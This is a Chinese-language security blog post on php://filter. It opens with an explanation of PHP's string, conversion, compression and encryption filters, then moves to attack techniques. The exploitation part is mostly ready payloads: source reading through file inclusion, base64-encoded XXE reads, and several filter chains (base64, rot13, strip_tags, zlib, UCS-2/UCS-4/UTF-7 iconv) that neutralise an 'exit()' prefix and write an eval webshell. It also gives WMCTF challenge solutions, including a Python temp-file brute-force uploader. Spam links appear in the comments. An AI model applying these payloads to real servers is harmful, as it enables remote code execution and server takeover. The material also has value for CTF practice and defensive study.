php://filter一些奇技淫巧
原理
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
名称 | 描述 | |
---|---|---|
resource=<要过滤的数据流> | 这个参数是必须的。指定了要筛选过滤的数据流。 | |
read=<读链的筛选列表> | 该参数可选。可以设定一个或者多个过滤器名称,以管道符( \ | )分隔。 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或者多个过滤器名称,以管道符( \ | )分隔。 |
<; 两个链的筛选列表> | 任何没有以read= 或者write= 作前缀的筛选器列表会视情况应用于读或写链。 |
使用方法
example
<?php
echo file_get_contents($_GET['file']);
# file=php://filter/resource=index.php 明文读文件
# file=php://filter/read=convert.base64-encode/resource=index.php 编码读文件
file_put_contents($_GET['filename'],$_GET['txt']);
# filename=php://filter/resource=test.txt&txt=Qftm 明文写文件
# filename=php://filter/write=convert.base64-encode/resource=test.txt&txt=Qftm 编码写文件
?>
过滤器
String Filters
字符串过滤器:每个过滤器都正如其名字暗示的那样工作并与内置的 PHP 字符串函数的行为相对应。
string.rot13
(自 PHP 4.3.0 起)使用此过滤器等同于用str_rot13()函数处理所有的流数据。
string.rot13
对字符串执行ROT13
转换,ROT13
编码简单地使用字母表中后面第13个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串。
- Example #1 string.rot13
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13');
fwrite($fp, "This is a test.\n");
/* Outputs: Guvf vf n grfg. */
?>
string.toupper
(自 PHP 5.0.0 起)使用此过滤器等同于用strtoupper()函数处理所有的流数据。
string.toupper
将字符串转化为大写
- Example #2 string.toupper
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
fwrite($fp, "This is a test.\n");
/* Outputs: THIS IS A TEST. */
?>
string.tolower
(自 PHP 5.0.0 起)使用此过滤器等同于用strtolower()函数处理所有的流数据。
string.toupper
将字符串转化为小写
- Example #3 string.tolower
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
fwrite($fp, "This is a test.\n");
/* Outputs: this is a test. */
?>
string.strip_tags
(PHP 4, PHP 5, PHP 7)(自PHP 7.3.0起已弃用此功能。)
使用此过滤器等同于用strip_tags()函数处理所有的流数据。可以用两种格式接收参数:一种是和strip_tags()函数第二个参数相似的一个包含有标记列表的字符串,一种是一个包含有标记名的数组。
string.strip_tags
从字符串中去除HTML
和PHP
标记,尝试返回给定的字符串str
去除空字符、HTML
和PHP
标记后的结果。它使用与函数fgetss() 一样的机制去除标记。
Note:HTML 注释和 PHP 标签也会被去除。这里是硬编码处理的,所以无法通过 allowable_tags 参数进行改变。
- Example #4 string.strip_tags
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs: <b>bolded text</b> enlarged to a level 1 heading */
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs: <b>bolded text</b> enlarged to a level 1 heading */
?>
Conversion Filters
转换过滤器:如同string.*
过滤器,convert.*
过滤器的作用就和其名字一样,转换过滤器是PHP 5.0.0
添加的。
convert.base64
convert.base64-encode
和convert.base64-decode
使用这两个过滤器等同于分别用base64_encode()和base64_decode()函数处理所有的流数据。convert.base64-encode
支持以一个关联数组给出的参数。如果给出了line-length
,base64
输出将被用line-length
个字符为长度而截成块。如果给出了line-break-chars
,每块将被用给出的字符隔开。这些参数的效果和用base64_encode()再加上chunk_split()相同。
- Example #1 convert.base64-encode & convert.base64-decode
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs: VGhpcyBpcyBhIHRlc3QuCg== */
$param = array('line-length' => 8, 'line-break-chars' => "\r\n");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs: VGhpcyBp
: cyBhIHRl
: c3QuCg== */
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
/* Outputs: This is a test. */
?>
convert.quoted
convert.quoted-printable-encode
和convert.quoted-printable-decode
使用此过滤器的decode
版本等同于用quoted_printable_decode()函数处理所有的流数据。没有和convert.quoted-printable-encode
相对应的函数。convert.quoted-printable-encode
支持以一个关联数组给出的参数。除了支持和convert.base64-encode
一样的附加参数外,convert.quoted-printable-encode
还支持布尔参数binary
和force-encode-first
。convert.base64-decode
只支持line-break-chars
参数作为从编码载荷中剥离的类型提示。
- Example #2 convert.quoted-printable-encode & convert.quoted-printable-decode
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.\n");
/* Outputs: =This is a test.=0A */
?>
convert.iconv.*
这个过滤器需要php
支持iconv
,而iconv
是默认编译的。使用convert.iconv.*
过滤器等同于用iconv()函数处理所有的流数据。
Note:该过滤在PHP中文手册里面没有标注,可查看英文手册
https://www.php.net/manual/en/filters.convert.php
convery.iconv.*
的使用有两种方法
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>
- iconv()
(PHP 4 >= 4.0.5, PHP 5, PHP 7)
iconv — 字符串按要求的字符编码来转换
Note:iconv ( string $in_charset , string $out_charset , string $str ) : string
将字符串str
从in_charset
转换编码到out_charset
。
参数:
in_charset 输入的字符集。
out_charset 输出的字符集。如果你在out_charset后添加了字符串//TRANSLIT,将启用转写(transliteration)功能。这个意思是,当一个字符不能被目标字符集所表示时,它可以通过一个或多个形似的字符来近似表达。如果你添加了字符串//IGNORE,不能以目标字符集表达的字符将被默默丢弃。 否则,会导致一个E_NOTICE并返回FALSE。
str 要转换的字符串。
返回值:
返回转换后的字符串,或者在失败时返回FALSE。
Example #1 iconv()
<?php
$text = "This is the Euro symbol '€'.";
echo 'Original : ', $text, PHP_EOL;
echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
echo 'IGNORE : ', iconv("UTF-8", "ISO-8859-1//IGNORE", $text), PHP_EOL;
echo 'Plain : ', iconv("UTF-8", "ISO-8859-1", $text), PHP_EOL;
/* Outputs:
Original : This is the Euro symbol '€'.
TRANSLIT : This is the Euro symbol 'EUR'.
IGNORE : This is the Euro symbol ''.
Plain :
Notice: iconv(): Detected an illegal character in input string in .\iconv-example.php on line 7
*/
?>
- Example #2 convert.iconv.*
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
fclose($fp);
/* Outputs: This is a test. */
?>
支持的字符编码有一下几种(详细参考官方手册)
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
、、、、、、、
、、、、、、、
Note:
* 表示该编码也可以在正则表达式中使用。
** 表示该编码自 PHP 5.4.0 始可用。
Compression Filters
虽然压缩封装协议提供了在本地文件系统中创建gzip
和bz2
兼容文件的方法,但不代表可以在网络的流中提供通用压缩的意思,也不代表可以将一个非压缩的流转换成一个压缩流。对此,压缩过滤器可以在任何时候应用于任何流资源。
Note: 压缩过滤器 不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
zlib. *
压缩过滤器自PHP
版本5.1.0
起可用,在激活zlib的前提下。也可以通过安装来自» PECL的» zlib_filter包作为一个后门在5.0.x
版中使用。此过滤器在 PHP4
中不可用。
bzip2. *
压缩过滤器自PHP
版本5.1.0
起可用,在激活bz2支持的前提下。也可以通过安装来自» PECL的» bz2_filter包作为一个后门在5.0.x
版中使用。此过滤器在PHP4
中不可用。
详细细节参考官方文档
Encryption Filters
mcrypt.*
和mdecrypt.*
使用libmcrypt
提供了对称的加密和解密。这两组过滤器都支持mcrypt 扩展库中相同的算法,格式为mcrypt.ciphername
,其中ciphername
是密码的名字,将被传递给mcrypt_module_open()。有以下五个过滤器参数可用:(详细细节参考官方文档)
参数 | 是否必须 | 默认值 | 取值举例 |
---|---|---|---|
mode | 可选 | cbc | cbc,cfb,ecb,nofb,ofb,stream |
algorithms_dir | 可选 | ini_get('mcrypt.algorithms_dir') | algorithms模块的目录 |
modes_dir | 可选 | ini_get('mcrypt.modes_dir') | modes模块的目录 |
iv | 必须 | N/A | 典型为8,16或32字节的二进制数据,据密码而定。 |
key | 必须 | N/A | 典型为8,16或32字节的二进制数据,据密码而定。 |
利用方式
文件包含
在文件包含漏洞当中,因为php://filter
可以对所有文件进行编码处理,所以常常可以使用php://filter
来包含读取一些特殊敏感的文件(配置文件、脚本文件等)以辅助后面的漏洞挖掘。
利用姿势
<?php
$file = $_GET['file'];
include($file);
?>
# php://filter/read=convert.base64-encode/resource=index.php
# php://filter/convert.base64-encode/resource=index.php
XXE Encode
XXE漏洞
XXE
漏洞也就是XML
外部实体注入漏洞,关于该漏洞造成的主要原因是libxml
库【libxml2.9
以前的版本默认支持并开启了外部实体的引用】,对于防范XXE漏洞也很简单:升级libxml
版本、使用脚本语言自带的禁用xml外部实体解析。
XXE回显问题绕过
在P牛文章里面有提到使用php://filter
绕过XXE回显问题,详细细节和操作如下:
大家都知道XXE
漏洞和XML
有关系,当存在XXE
漏洞的时候,如果我们使用相关协议读取特殊文件(HTML
、PHP
等)就可能会报错parser error : StartTag: invalid element name
,为什么会这样呢,主要是因为XML
的文件格式(XML
文件声明和HTML
以及php
文件一样都是基于标签的,正是因为这样在读取这些特殊文件的时候就会解析错误)。
针对这种情况就可以使用php://filter
协议来进行文件内容编码读取,避免和xml文件解析产生冲突。
利用姿势
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe.php" >]>
Bypass file_put_content+Exit
第一次碰见这个还是在WMCTF,还是见得太少了,菜了菜了......
首先来说,file_put_content大概有三种情形出现;
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");
这里我们的思路一般是想要将杂糅或者死亡代码分解掉;这里思路基本上都是利用php
伪协议filter
,结合编码或者相应的过滤器进行绕过;其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;
首先第一种情况
<?php
highlight_file(__FILE__);
$filename = $_GET['filename'];
$content = $_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
?>
直观的看到,我们的文件名和文件内容都是可控的,这种的相对来说简单的多,我们直接控制文件名,和文件内容即可,下面分享几种方式;
1、base64编码绕过
原理其实很简单,利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;
$filename = 'php://filter/convert.base64-decode/resource=shell.php';
$content = 'aPD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+';
# <?php eval($_REQUEST['shell']);?>
这里之所以将$content加了一个a
,是因为base64
在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit
参与了解码,所以补上一位就可以完全转化;载荷效果如下:
2、rot13 编码绕过
原理和base64一样,可以直接转码分解死亡代码;这里不再多说;直接看如下实验结果即可;
这种方法有点尴尬的是;因为我们生成的文件内容之中前面的<?
并没有分解掉,这时,如果服务器开启了短标签,那么就会被解析,所以所以后面的代码就会错误;也就失去了作用;
$filename = 'php://filter/string.rot13/resource=shell.php';
$content = "<?cuc riny($_ERDHRFG['furyy']);?>";
# <?php eval($_REQUEST['shell']);?>
3、.htaccess的预包含利用
利用.htaccess
的预包含文件的功能来进行攻破;自定义包含我们的flag文件。
这种方法也是具有一定的局限性,首先我们需要知道flag
文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php、flag、/flag、/flag.php
等等;另外还有个很大的问题是,string.strip_tags
过滤器只是可以在php5
的环境下顺利的使用,如果题目环境是在php7.3.0
以上的环境下,则会发生段错误。导致写不进去;
$filename = 'php://filter/write=string.strip_tags/resource=.htaccess';
$content = '?>php_value auto_prepend_file flag';
传入如上的代码,首先来解释$filename
的代码,这里引用了string.strip_tags
过滤器,可以过滤.htaccess
内容的html
标签,自然也就消除了死亡代码;$content
即闭合死亡代码使其完全消除,并且写入自定义包含文件;实验结果如下所示:
4、过滤器编码组合拳
由于过滤器支持多种公用,所以可以通过过滤器嵌套进行过滤,从而写入目标代码。
第一种:利用string.strip_tags
可以过滤掉html
标签,将标签内的所有内容进行删去,然后再进行base64解码,写入shell
。(这种方法有一定的局限性也还是因为string.strip_tags
在php7.3.0
以上的环境下会发生段错误,从而导致无法写入,但是在php5
的环境下则不受此影响)
$filename = 'php://filter/string.strip_tags|convert.base64-decode/resource=shell.php';
$content = '?>PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+';
# <?php eval($_REQUEST['shell']);?>
第二种:适用php7
,三种过滤器嵌套,先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误;则可以写入shell。
$filename = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=shell.php';
$content = "php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?phP EVAL($_POST['shell']);?>/resource=shell.php";
原理也很简单,就是利用过滤器嵌套让死亡代码在各种变换之间进行分解扰乱,然后再次写入木马;这里非常巧合的是内容经过压缩转小写然后解压之后,我们的目的代码并没有发生变化,这也为写入木马奠定了基础。
在写shell
的时候发生了各种问题,主要都是解析问题,甚至于短标签都会使EVAL
变成EVCL
,最终发现上述payload可执行。
其次第二种情况
<?php
highlight_file(__FILE__);
$content = $_GET['content'];
file_put_contents($content,"<?php exit();".$content);
?>
这段类似的代码在ThinkPHP5.0.X
反序列化中出现过,利用其组合才能够得到RCE
。面对这种情况,就和WMCTF的题基本一样了;和上面的大类方法类似,也是利用php
伪协议filter
进行嵌套过滤器进行消除死亡代码,然后进行shell
的写入或者读取;不过这种因为是一个变量,所以其限制代码为<?php exit();
然而我们之前说到的是因为是控制两个变量,在这种情况之下就为<?php exit();?>
,两者有本质的区别,然而第一种情况下,后面的几种解法,其实从某种程度上来说,也是将其看成了一个变量从而的出的payload
。
这里题目环境如果在php7
下,WMCTF
的wp
上已经写的很清楚了,有多种方法可以绕过去,详细题解放在文章最后。
1、.htaccess的预包含利用
?content=php://filter/write=string.strip_tags/?>php_value auto_prepend_file flag%0a%23/resource=.htaccess
2、base64编码绕过
?content=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+/../shell.php
?content=php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+/../shell.php
其中为什么要用string.strip.tags
过滤掉HTML
代码,这是因为发现直接base64
解码虽然能生成文件,但是无法写入目标代码,最终发现是因为在整体进行base64
解码时,=
直接拼接了shell
语句导致解码失败。
payload
中的../
是利用了Linux的机制,前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成s1mple.php文件;从而就可以生成正常的文件名。
两条payload
差距仅在一个<?
,两者的差距都是为了让真正的base64
编码的数据逃脱=
。
3、rot13编码绕过
因为base64
受限制于=
,所以这里可以使用rot13
编码。
?content=php://filter/write=string.rot13|<?cuc riny($_ERDHRFG['furyy']);?>|/resource=shell.php
4、convert.iconv.*编码绕过
这个过滤器需要php
支持iconv
,而iconv
是默认编译的。使用convert.iconv.*
过滤器等同于用iconv()
函数处理所有的流数据。 然而我们可以留意到iconv — 字符串按要求的字符编码来转换
;其用法:iconv ( string $in_charset , string $out_charset , string $str ) : string
将字符串 str
从 in_charset
转换编码到 out_charset
。 就其功能而论,有点类似于base_convert
的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已;(可以类比);由此记得国赛的一道love_math
的题目,有了base_convert
之后就可以尽情的转换从而getshell
;
那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换;
1、usc-2
通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
php > echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_REQUEST[shell]);?>');
?<hp pe@av(l_$ERUQSE[Thsle]l;)>?
?content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$ERUQSE[Thsle]l;)>?/resource=shell.php
2、usc-4
这是4位一反转,所以整个代码应该是4的倍数。
php > echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_REQUEST[shell]);?>');
hp?<e@ p(lavER_$SEUQhs[T]lle>?;)
?content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavER_$SEUQhs[T]lle>?;)/resource=shell.php
3、utf-8与utf-7之间的转化
经测试单纯的UTF-8
转UTF-7
是无效的,解码生成的文件中会将<>
转码,导致无法执行。
但是带佬们发现用base64
编码后的数据进行转码,数据不变,且=
转UTF7
后为+AD0-
这样就能解决=
对base64
编码造成的影响。
php > echo iconv("UTF-8","UTF-7",'PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+');
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+-
?content=php://filter/write=PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NoZWxsJ10pOz8+-|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php
最后第三种情况
<?php
highlight_file(__FILE__);
$filename = $_GET['filename'];
$content = $_GET['content'];
file_put_contents($filename,$content . "\nxxxxxx");
?>
这种相对还要更简单一些,只需要将后面的杂糅代码注释掉或者分解掉,不让我们的攻击代码受影响即可。
这种情形一般考点都是禁止有特殊起始符和结束符号的语言,举个例子,如果题目没有ban
掉php
,那么我们可以轻而易举的写入php
代码,因为php
代码有特殊的起始符和结束符,所以后面的杂糅代码,并不会对其产生什么影响。
所以这类问题的考点,往往在于我们没有办法去写入这类的有特殊起始符和结束符号的语言,往往是需要想办法处理掉杂糅代码的;
常见的考点是利用.htaccess
进行操作;都知道,.htaccess
文件对其文件内容的格式很敏感,如果有杂糅的字符,就会出现错误,导致我们无法进行操作,所以这里我们必须采用注释符将杂糅的代码进行注释,然后才可以正常访问;这里对于换行符我们直接进行\
注释即可。然后再嵌入#
注释符,从而达到单行注释就可以将杂糅代码注释掉的效果。
关于.htacess
的利用先欠下,回头补齐,毕竟这大哥非常有用。
WMCTF checkin2
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['HTTP_X_REAL_IP']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
echo $content;
file_put_contents($content,'<?php exit();'.$content);
}
可以看到核心就是bypass exit()
死亡代码。同时又过滤了很多的过滤器。以下是官方给出的几种解法:
1、二次编码绕过
file_put_contents中可以调⽤伪协议,⽽伪协议处理时会对过滤器urldecode⼀次,所 以是可以利⽤⼆次编码绕过的,不过我们在服务端ban了%(⽤%太简单了)所以测试% 被ban后就可以写个脚本跑⼀下字符,构造⼀些过滤的字符就可以利⽤正常的姿势绕 过。知道可以⽤⼆次编码绕过了,可以简单构造⼀下参⻅的payload即可,可参考出题人之前写的⽂章中的⼀些简单的payload )
<?php
$char = 'r'; # 构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
$a = '%'.$ascii1.'%'.$ascii2;
if(urldecode(urldecode($a)) == $char){
echo $char.': '.$a;
echo "\n";
}
}
}
?>
/*************************************************************************************************
php://filter/write=string.%72ot13|cuc riny($_ERDHRFG['furyy']);|/resource=shell.php
<?cuc rkvg();cuc://svygre/jevgr=fgevat.rbg13|<?php eval($_REQUEST['shell']);?>|/erfbhepr=furyy.cuc
*************************************************************************************************/
payload放过滤器的位置或者放⽂件名位置都可(因为有些编码有时候会有空格什 么的乱码,⽂件名不⼀定好⽤),php://filter⾯对不可⽤的规则是报个Warning,然后 跳过继续执⾏的)。
2、过滤器绕过
题目虽过滤了许多过滤器,但还保留了zlib、bzip2、string
等过滤器。然后就利用上面提到的压缩转小写解压缩的办法。 这里也可以通过构造单个zlib.inflate
解压字符,通过zlib.deflate
压缩来构造shell
,这⾥就不多说了。
php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET['shell']);?>/resource=shell.php
3、爆破临时文件
环境特地设置了php 7.0.33
版本,由于file_put_contents
也可以利⽤伪协议,所以⽼问题,利⽤string.strip_tags
会发⽣段错误,这时候上传⼀个shell
会以临时⽂件的形式保存在/tmp
中,利⽤require_once
包含getshell
即可(⽤⼀次就会被覆盖,所以直接反弹shell
或者写⻢就⾏)。因为爆破的基数太⼤了,所以这个是⼀个最不好的解作为备选 解,简单放下⽣成临时⽂件的脚本。
#!/usr/bin/env python-3.8
# -*- coding: utf-8 -*-
# @Project: Hello Python!
# @File : 13-临时文件爆破
# @Author : Tr0jAn <webfker@oulook.com>
# @Date : 2020-09-05
import requests
import string
from urllib3.connectionpool import xrange
charset = string.digits + string.ascii_letters
host = "" # url
port = 80
base_url = "http://{}:{}".format(host.port)
def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
requests.post(url, files=files)
except Exception as e:
print(e)
def generate_tmp_files():
file_content = '<?php system("xxxxxxxx");?>'
phpinfo_url = "%s/?content=php://filter/write=string.strip_tags/resource=Tr0jAn.php" % base_url
print(phpinfo_url)
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print("[+] %d / %d" % (i, times))
upload_file_to_include(phpinfo_url, file_content)
if __name__ == "__main__":
generate_tmp_files()
总结
在上述基础上可以无限制的打组合拳,直到能够打死老师为止。
兄弟写的非常好 https://www.cscnn.com/
不错不错,我喜欢看 www.jiwenlaw.com
[...]https://tr0jan.top/archives/78/[...]
背景太花了,挺影响阅读的(ó﹏ò。)